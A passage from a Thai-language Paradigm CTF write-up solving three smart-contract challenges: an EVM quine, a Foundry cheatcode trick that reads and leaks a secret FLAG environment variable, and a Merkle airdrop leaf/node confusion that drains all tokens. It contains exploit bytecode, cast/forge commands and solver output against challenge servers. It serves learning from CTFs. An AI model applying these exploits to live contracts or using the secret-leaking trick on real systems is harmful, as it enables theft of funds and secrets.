opcode ที่ถูกระบุไว้ใน safe() function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KrzO4fgw-eEfUVvQ.png" /><figcaption><strong>Challenge.sol</strong></figcaption></figure><p>ในตอนแรก ทางทีมตั้งใจเขียน smart contract ขึ้นมาเพื่อ return ส่วนของ code โดยใช้ CODECOPY opcode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I1_ocVFSm52Jvh1_.png" /></figure><p>แต่ก็พบว่าไม่สามารถทำได้ เพราะ CODESIZE (0x38) และ CODECOPY (0x39) opcode ถูกห้ามไว้ใน safe() function.</p><p>ทางทีมรู้ว่าโปรแกรมที่ return ตัวเองออกมาเป็น output นั้นเรียกว่า “quine” เมื่อทดลองหาดู จึงเจอ quine ของ EVM ที่มีคนเคยเขียนไว้แล้ว ชื่อว่า quine.etk</p><p>Ref: <a href="https://gist.github.com/karmacoma-eth/220b58b7cd32d649fa1a15e70b6d8bff">https://gist.github.com/karmacoma-eth/220b58b7cd32d649fa1a15e70b6d8bff</a></p><p>แต่ว่า quine.etk มีการใช้ CALLVALUE opcode ที่ถูกห้ามไว้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eCtmms6I8UTS79ji.png" /><figcaption><strong>quine.etk</strong></figcaption></figure><p>ทางทีมเลยใช้แนวคิดเดียวกัน และดัดแปลง smart contract โดยเปลี่ยน callvalue opcode เป็น opcode อื่นเพื่อจุดประสงค์เดียวกัน คือการ PUSH ค่า 0 ขึ้นไปบน stack จากนั้นทำการ pad byte ที่เหลือด้วย STOP opcode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*02Jytnx8QxLrgfqQ.png" /><figcaption><strong>dupper.bc</strong></figcaption></figure><pre>$ evmasm -a &lt; dupper.bc                                       <br>0x80607f60005360015260215260416000f3000000000000000000000000000000</pre><p>จากนั้นจึงเปลี่ยน PUSH16 เป็น PUSH32 ให้พอดีกับขนาดของ bytecode ของ dupper.bc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*azOOTN6tyUU3B-mF.png" /><figcaption><strong>exploit.bc</strong></figcaption></figure><p>เมื่อ compile เสร็จ เราก็จะได้ bytecode ออกมาในรูปแบบ hex</p><pre>$ evmasm -a &lt; exploit.bc<br>0x7f80607f60005360015260215260416000f300000000000000000000000000000080607f60005360015260215260416000f3000000000000000000000000000000</pre><p>เชื่อมต่อไปที่ server เพื่อเริ่มต้น instance ของ โจทย์</p><pre>$ nc 34.136.156.228 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           bf8d3ead-f772-47ff-84e1-02626c1f1717<br>rpc endpoint:   http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717<br>private key:    0x3931407bce0423348620b49d59df21964d68b4b69d718b9373f7b06930196bb9<br>setup contract: 0x108FFf3C96C1054c44cBAcfCf931fAA77c7d4715</pre><p>จากนั้นเรียก challenge() function เพื่อดู address ของ Challenge contract</p><pre>$ cast call --rpc-url http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717 0x108FFf3C96C1054c44cBAcfCf931fAA77c7d4715 &quot;challenge()&quot;<br>0x000000000000000000000000b4ee4924c6dccb4c4e0d4872a9d84b8db17043ac</pre><p>เมื่อได้ address มา เราก็จะสามารถเรียก solve() function โดยใช้ bytecode ที่เราสร้างขึ้นมาเป็น parameter ได้เลย</p><pre>cast send --rpc-url http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717 --private-key 0x3931407bce0423348620b49d59df21964d68b4b69d718b9373f7b06930196bb9 0xb4ee4924c6dccb4c4e0d4872a9d84b8db17043ac &quot;solve(bytes)&quot; -- 0x7f80607f60005360015260215260416000f300000000000000000000000000000080607f60005360015260215260416000f3000000000000000000000000000000</pre><p>หลังจาก transaction ถูกส่งไปเรียบร้อย เราก็สามารถเชื่อมต่อไปที่ server อีกครั้งเพื่อเอา flag</p><pre>$ nc 34.136.156.228 31337`<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 3<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b<br>PCTF{QUiNE_QuiNe_qU1n3}</pre><p><strong>Flag:</strong> PCTF{QUiNE_QuiNe_qU1n3}</p><h4>TRAPDOOOR</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/0*GgiVqnZbuOQA7q5N.png" /></figure><p><strong>CHALLENGE:</strong> TRAPDOOOR<br><strong>AUTHOR:</strong> samczsun<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> In theoretical computer science and cryptography, a trapdoor function is a function that is easy to compute in one direction, yet difficult to compute in the opposite direction (finding its inverse) without special information, called the “trapdoor”.<br><strong>ACCESS:</strong> nc 35.68.217.8 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/trapdooor.zip">https://ctf.paradigm.xyz/resources/trapdooor.zip</a></p><p>โจทย์ในข้อนี้ ต้องการให้เราเขียน smart contract เพื่อหาตัวประกอบจำนวนเฉพาะของเลขที่สุ่มขึ้นมาให้ถูกต้อง โดยเราสามารถส่ง bytecode ไปที่ server และ server จะทำการตรวจสอบผลลัพธ์โดยใช้ forge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HIIG2m9tGLAWgYTo.png" /><figcaption><strong>chal.py</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*d-RPZEU3Pm0H8XGM.png" /><figcaption><strong>Script.sol</strong></figcaption></figure><p>ทางทีมทราบว่าใน forge สามารถใช้คำสั่งพิเศษที่เรียกว่า cheatcodes (<a href="https://book.getfoundry.sh/forge/cheatcodes">https://book.getfoundry.sh/forge/cheatcodes</a>) ได้ เราเลยเขียน smart contract ที่ใช้ฟังก์ชั่น envString() เพื่อดึงค่า FLAG environment variable ออกมา</p><p>โดยเราจะเห็น output จาก server เป็นตัวเลขที่ได้จากคำตอบของการหาตัวประกอบเท่านั้น เราเลยใช้วิธีแบ่งค่าของ FLAG ออกเป็นสองส่วน และ encode ไว้ในค่าของตัวประกอบทั้งสองตัว</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YtCYK8mPX8htkvUw.png" /><figcaption><strong>Factorizor.sol</strong></figcaption></figure><p>ทำการ compile ตัว contract ที่เขียนขึ้นมา และรันเพื่อให้ได้ runtime bytecode</p><pre>$ cat out/Factorizor.sol/Factorizor.json | jq &#39;.bytecode.object&#39;<br>&quot;0x608060405234801561001057600080fd5b50610279806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033&quot;</pre><pre>$ evm-run --code 0x608060405234801561001057600080fd5b50610279806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033                                                                                                                                                         code 608060405234801561001057600080FD5B50610279806100206000396000F3FE608060405234801561001057600080FD5B506004361061002B5760003560E01C80631B3ABBA014610030575B600080FD5B61004361003E36600461014A565B61005C565B6040805192835260208301919091520160405180910390F35B60405163F877CB1960E01B81526000908190737109709ECFA91A80626FF3989D68F67F5B1DD12D908290829063F877CB19906100B390600401602080825260049082015263464C414760E01B604082015260600190565B6000604051808303816000875AF11580156100D2573D6000803E3D6000FD5B505050506040513D6000823E601F3D908101601F191682016040526100FA9190810190610179565B90506000610109826020610126565B90506000610118836040610126565B919791965090945050505050565B81516000908390820361013D575060009050610144565B5050818101515B92915050565B60006020828403121561015C57600080FD5B5035919050565B634E487B7160E01B600052604160045260246000FD5B6000602080838503121561018C57600080FD5B825167FFFFFFFFFFFFFFFF808211156101A457600080FD5B818501915085601F8301126101B857600080FD5B8151818111156101CA576101CA610163565B604051601F8201601F19908116603F011681019083821181831017156101F2576101F2610163565B81604052828152888684870101111561020A57600080FD5B600093505B8284101561022C578484018601518185018701529285019261020F565B60008684830101528096505050505050509291505056FEA26469706673582212209120A8F35834F204AF3746D2B256675B3C4330670545B904B6D04F680CAA247F64736F6C63430008100033<br>60 PUSH1<br>60 PUSH1 Stack: 80<br>52 MSTORE Stack: 40,80<br>34 CALLVALUE           Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>80 DUP1      Stack: 0  Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>15 ISZERO    Stack: 0,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>61 PUSH2     Stack: 1,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>57 JUMPI     Stack: 10,1,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>5b JUMPDEST  Stack: 0      Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>50 POP       Stack: 0      Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>61 PUSH2                   Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>80 DUP1      Stack: 279    Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>61 PUSH2     Stack: 279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>60 PUSH1     Stack: 20,279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>39 CODECOPY  Stack: 0,20,279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080<br>60 PUSH1     Stack: 279          Memory: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c6343000810003300000000000000<br>f3 RETURN    Stack: 0,279        Memory: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c6343000810003300000000000000<br>Returned: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033<br>gasUsed : 171</pre><p>จากนั้นจึงเชื่อมต่อไปยัง server ของโจทย์ และส่ง runtime bytecode ไป</p><pre>$ nc 34.68.217.8 31337<br>1 - factorize<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589df1893973e19b6efc<br>runtime bytecode: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033</pre><pre>you didn&#39;t factor the number. 36303988286885487241881563943446880517349042511396977973869722935105628174645 * 43057057880393007403564109894319249048263545241531721173866963997594434404352 != 47914332001412349049026046261367819686545943268066325658829054066493538297033</pre><p>จากผลลัพธ์ จะเห็นว่าเราไม่ได้แยกตัวประกอบได้อย่างถูกต้อง แต่ output ที่ส่งออกมานั้นคือ bytes ของ flag ที่เรา encode ไว้ เราสามารถใช้ Python เพื่อ decode ค่ากลับมาเป็น string ได้ดังนี้</p><pre>$ ipython<br>Python 3.8.10 (default, Jun 22 2022, 20:18:18)<br>Type &#39;copyright&#39;, &#39;credits&#39; or &#39;license&#39; for more information<br>IPython 7.23.0 -- An enhanced Interactive Python. Type &#39;?&#39; for help.</pre><pre>In [1]: from Crypto.Util.number import long_to_bytes</pre><pre>In [2]: long_to_bytes(36303988286885487241881563943446880517349042511396977973869722935105628174645)<br>Out[2]: b&#39;PCTF{d0n7_y0u_10v3_f1nd1n9_0d4y5&#39;</pre><pre>In [3]: long_to_bytes(43057057880393007403564109894319249048263545241531721173866963997594434404352)<br>Out[3]: b&#39;_1n_4_c7f}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;</pre><p><strong>Flag:</strong> PCTF{d0n7_y0u_10v3_f1nd1n9_0d4y5_1n_4_c7f}</p><h4>MERKLEDROP</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/0*N9bi0pYmDMLnKsrV.png" /></figure><p><strong>CHALLENGE:</strong> MERKLEDROP<br><strong>AUTHOR:</strong> Riley Holterhus<br><strong>TAGS:</strong> PWN<br><strong>DESCRIPTION:</strong> Were you whitelisted?<br><strong>ACCESS:</strong> nc 35.188.148.32 31337<br><strong>RESOURCES:</strong><br><a href="https://github.com/paradigmxyz/paradigm-ctf-infrastructure">https://github.com/paradigmxyz/paradigm-ctf-infrastructure</a><br><a href="https://ctf.paradigm.xyz/resources/merkledrop.zip">https://ctf.paradigm.xyz/resources/merkledrop.zip</a></p><p>โจทย์ข้อนี้เป็นข้อเกี่ยวกับการแจก airdrop โดยใช้ <a href="https://en.wikipedia.org/wiki/Merkle_tree">Merkle tree</a> ในการตรวจสอบผู้รับ airdrop</p><p><strong>File structure</strong></p><ul><li>contracts/Setup.sol จะมี 2 contract คือ Token และ Setup ที่ไว้ใช้ deploy MerkleDistributor contract และมี function isSolved() ไว้ตรวจผลของโจย์</li><li>contracts/MerkleDistributor.sol จะเป็น contract ที่ถือ airdrop reward และมี function claim() ไว้แจกจ่าย airdrop</li><li>contracts/MerkleProof.sol เป็น Library ที่มี function verify() ไว้เพื่อตรวจสอบความถูกต้องของ Merkle tree.</li><li>tree.json เป็น list ของ address, claim amount และ index ของผู้ที่ได้รับ airdrop ใน Merkle tree</li></ul><p>เป้าหมายของโจทย์นี้คือการดึง airdrop reward ทั้งหมดออกจาก contract โดยที่ไม่ได้มาจากการ claim airdrop ทั้งหมด (ด้วยวิธีปกติ)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*j763vXbx93EDwSCQ.png" /><figcaption><strong>contracts/Setup.sol</strong></figcaption></figure><p>ใน MerkleProof contract จะมีแค่ verify() function ตามปกติซึ่งไว้ใช้เพื่อตรวจสอบความถูกต้องของข้อมูลที่ส่งเข้ามา</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G9ROagu4htHEY9iu.png" /><figcaption><strong>contracts/MerkleProof.sol</strong></figcaption></figure><p>มีจุดที่น่าสนใจใน MerkleDistributor contract โดย function claim() นั้นรับ index, address, amount, และ array ของ merkleProof เพื่อทำการ claim airdrop และจะโอน reward ไปให้ address ที่ใส่เข้ามาเท่ากับ amount ที่ใส่เข้ามา</p><p>โดยตอนนี้เราสามารถผ่านเงื่อนไขแรกได้ด้วยข้อมูลจากไฟล์ tree.json แต่ยังติดเงื่อนไขที่สอง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*swAwsiiu8J9AqnsM.png" /><figcaption><strong>contracts/MerkleDistributor.sol</strong></figcaption></figure><p>ถ้าหากลองดูให้ดี จะเห็นว่า MerkleDistributor contract และ MerkleProof contract นั้นมีการใช้งาน function keccak256() ที่ไม่เหมือนกัน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dpiq3PuLjbIBIZea.png" /><figcaption><strong>contracts/MerkleDistributor.sol</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*C8gE2tbjAQIKd-Jw.png" /><figcaption><strong>contracts/MerkleProof.sol</strong></figcaption></figure><p>โจทย์มีการใช้ function abi.encodePacked() ในทั้ง MerkleDistributor contract และ MerkleProof contract</p><p>ใน MerkleDistributor contract function abi.encodePacked() นั้นรับ uint256(index), address(account), และ uint96(amount) โดยผลลัพธ์จะมีขนาด = 32 bytes(uint256) + 20 bytes (address) + 12 bytes (uint96) = 64 bytes</p><p>ทำนองเดียวกันกับ MerkleProof contract ตัวผลลัพธ์ของ function abi.encodePacked() จะมีขนาด 32 bytes (byte32) + 32 bytes (byte32) = 64 bytes ซึ่งผลลัพธ์ของทั้งคู่นั้น <strong>“บังเอิญ(?)”</strong> เท่ากันพอดี</p><p>ดังนั้นเราสามารถใช้ proof ที่ต่อกัน (ผลลัพธ์จาก abi.encodePacked() ใน MerkleProof) แทน leaf ได้ โดย จะแบ่งเป็น uint256(index), address(account) และ uint96(amount) และใช้ในการเรียก function claim() เพราะใน function verify() นั้นไม่สามารถแยกระหว่าง leaf หรือ node ได้ ทำให้ผ่านการตรวจได้</p><p>หากเราสามารถหา node ที่มีค่า index, address, และ amount ที่อยู่ใน Merkle tree และ มีค่า amount รวมกับ claim อื่น ๆ ที่เหลือแล้วเท่ากับ reward ทั้งหมดพอดี ก็จะสามารถผ่านข้อนี้ได้</p><p>เราจึงเขียนโปรแกรมด้วยภาษา Go เพื่อหา node ที่เข้ากันกับเงื่อนไขทั้งหมดข้างต้น</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y_9UxdSoCDi4lbZT.png" /><figcaption><strong>merkledrop-solver/main.go</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FnLSGtpE73i6QW3I.png" /><figcaption><strong>merkledrop-solver/main.go</strong></figcaption></figure><p>หลังจากรันโปรแกรมก็ได้ผลลัพธ์ที่ต้องการ เราจะต้องทำการ claim 2 รอบ โดยในครั้งแรกจะต้อง claim ด้วยค่าต่อไปนี้</p><ul><li>index: 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442</li><li>account: 0x000000000000000000000000d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a</li><li>amount: 0xf40f0c122ae08d2207b</li><li>proofs: [0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d, 0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde, 0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813, 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c, 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]</li></ul><p>ค่า index จะเป็นค่าของ proof แรก 32 bytes ส่วนค่า account จะเป็น 20 bytes แรกของ proof ที่สอง และค่า amount จะเป็น 12 bytes ที่เหลือของ proof ที่สอง</p><pre>$ go build<br>$ ./merkledrop-solver<br>[+] Found a good node that can be used<br>Raw Node:  d43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b<br>Index:  0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442<br>Account:  0x000000000000000000000000d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a<br>Amount:  0xf40f0c122ae08d2207b<br>Proof:  [0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d 0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde 0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]</pre><pre>[*] SubsetSum has been found (please claim the following)<br>Index:  8<br>Account:  0x249934e4C5b838F920883a9f3ceC255C0aB3f827<br>Amount:  0xa0d154c64a300ddf85<br>Proof:  [0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00 0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3 0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2 0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]<br>-------------------------------------------------------------</pre><p>ภาพนี้แสดงถึงการทำ Merkle tree verification เมื่อทำการ claim ที่ index 37</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/0*Wx5sDUcJiMFNlBcG.png" /></figure><p>ส่วนภาพต่อไปนี้แสดงถึงการทำ Merkle tree verification เมื่อทำการ claim โดยใช้ 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442 เป็นค่า index, ใช้ 0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a เป็นค่า account และใช้ 0xf40f0c122ae08d2207b เป็นค่า amount</p><p>โดยค่าที่ได้จากการคำนวณ node จะเท่ากับ 0x225de26d438b50d8... เหมือนเดิม ซึ่งจะยังคงถูกต้องเหมือนในภาพก่อนหน้า</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/0*j7RIGWxZlEsavGPu.png" /></figure><p>เมื่อเจอค่าที่ต้องการแล้วเราก็นำมาเขียน contract เพื่อทำการแก้โจทย์ข้อนี้</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OMj4Sm77H5_Qp4sd.png" /><figcaption><strong>contracts/Exploit.sol</strong></figcaption></figure><p>เชื่อมต่อไป server เพื่อ สร้าง instance</p><pre>$ nc 35.188.148.32 31337<br>1 - launch new instance<br>2 - kill instance<br>3 - get flag<br>action? 1<br>ticket please: c1102aa71c717aca338df7941f00f13cbd18448d5884e69a227beb9073e19e</pre><pre>your private blockchain has been deployed<br>it will automatically terminate in 30 minutes<br>here&#39;s some useful information<br>uuid:           8115689c-c95d-4c80-8193-77a2baa2649c<br>rpc endpoint:   http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c<br>private key:    0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a<br>setup contract: 0x5813ba57FedC9d79348E4D596BeE61842f2101A9</pre><p>จากนั้น deploy Exploit contract</p><pre>$ forge create --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a contracts/Exploit.sol:Exploit<br>[⠢] Compiling...<br>No files changed, compilation skipped<br>Deployer: 0xA5D642447Ff6d8Cc08B07FBc2aede0117b05afa8<br>Deployed to: 0xDed2fA947ddD29B2da4dC5921a0D8bD0A0b4C53c<br>Transaction hash: 0xcb30e8c293a665788412b6719a2240ff9116b55fb1a676dd1ac13cfef2ee0f20</pre><p>เรียก function merkleDistributor() เพื่อหา address ของ MerkleDistributor contract ที่ถูก deploy</p><pre>$ cast call --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a 0x5813ba57FedC9d79348E4D596BeE61842f2101A9 &quot;merkleDistributor()&quot;<br>0x00000000000000000000000041daeba481da7cfaf2975439551cc784d35ce784</pre><p>ขั้นต้อนสุดท้ายเรียก function exploit() 